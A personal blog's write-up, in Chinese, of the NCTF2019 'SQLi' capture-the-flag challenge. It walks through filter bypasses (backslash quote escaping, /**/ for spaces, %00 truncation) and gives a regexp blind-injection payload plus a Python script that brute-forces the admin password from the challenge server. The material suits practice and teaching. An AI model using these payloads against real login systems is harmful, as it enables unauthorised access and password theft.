Z1d10tのBlog

A note for myself,have fun!

[NCTF2019]SQLi

sql注入 fuzz一下发现屏蔽了很多的sql常用命令

扫服务器后台发现hint.txt

img

也就是当我们获得admin的密码时,就能获得flag,连admin都被黑名单了,显然是不想让我们通过常用的手段去注入

回到主页看到他已经给了我们系统的查询语句

img

这里是不是就能想到通过巧妙的闭合改变查询语句使得我们的恶意注入语句就能被调用

看了大佬的wp发现是正则注入 regexp

本地测试

img

能看出无论username的内容是否在这个表单中,因为有||(相当于逻辑或)

password="^1"也就是以1开头 之后以12开头,利用这样的正则匹配去一位一位的试探,思路类似于布尔盲注,根据回显来判断。

回到题目,应该怎么构造呢

题目sql里的查询语句为:

1
select * from users where username='' and passwd=''

可以构造username=\&passwd=||sql;%00 空格被河蟹了可以用/**/绕过 注释符# --

%00来绕过本质上是截断 这里末尾的封号实际上是sql语句里的

因为很多程序底层都是c语言编译的,c语言对于一个字符串到末尾的标识是是否检测到\0经过url加密后即为%00

放入原语句后为:select * from users where username='\' and passwd='||sql;%00'

相当于username中的语句为' and passwd =内容不重要 然后逻辑或 加上我们的sql注入的恶意语句

1
username=\&passwd=||/**/passwd/**/regexp/**/"^{}";%00

如果回显正常为会定向到welcome.php

img

根据思路写出脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from urllib import parse
import string
url = 'http://16b0c2ee-be28-47f4-8454-b6a04a23aa8f.node4.buuoj.cn:81/index.php'
result = ''
dictionary = string.ascii_lowercase + string.digits + '_' #爆破字典
for i in range (1,35):
for j in dictionary:
payload = {
"username":"\\", #这里需要转义一下
"passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote("%00"))
}
r = requests.post(url,data=payload)
if "welcome" in r.text:
result+=j
break
print(result)

这里注意一下:如果在登录框里面敲%00 那样会导致%00被转义而失去作用 在python脚本里面 我们用parse.unquote(‘%00’)表示不进行转义的%00 这样就能爆出密码

本文最后更新于 天前,文中所描述的信息可能已发生改变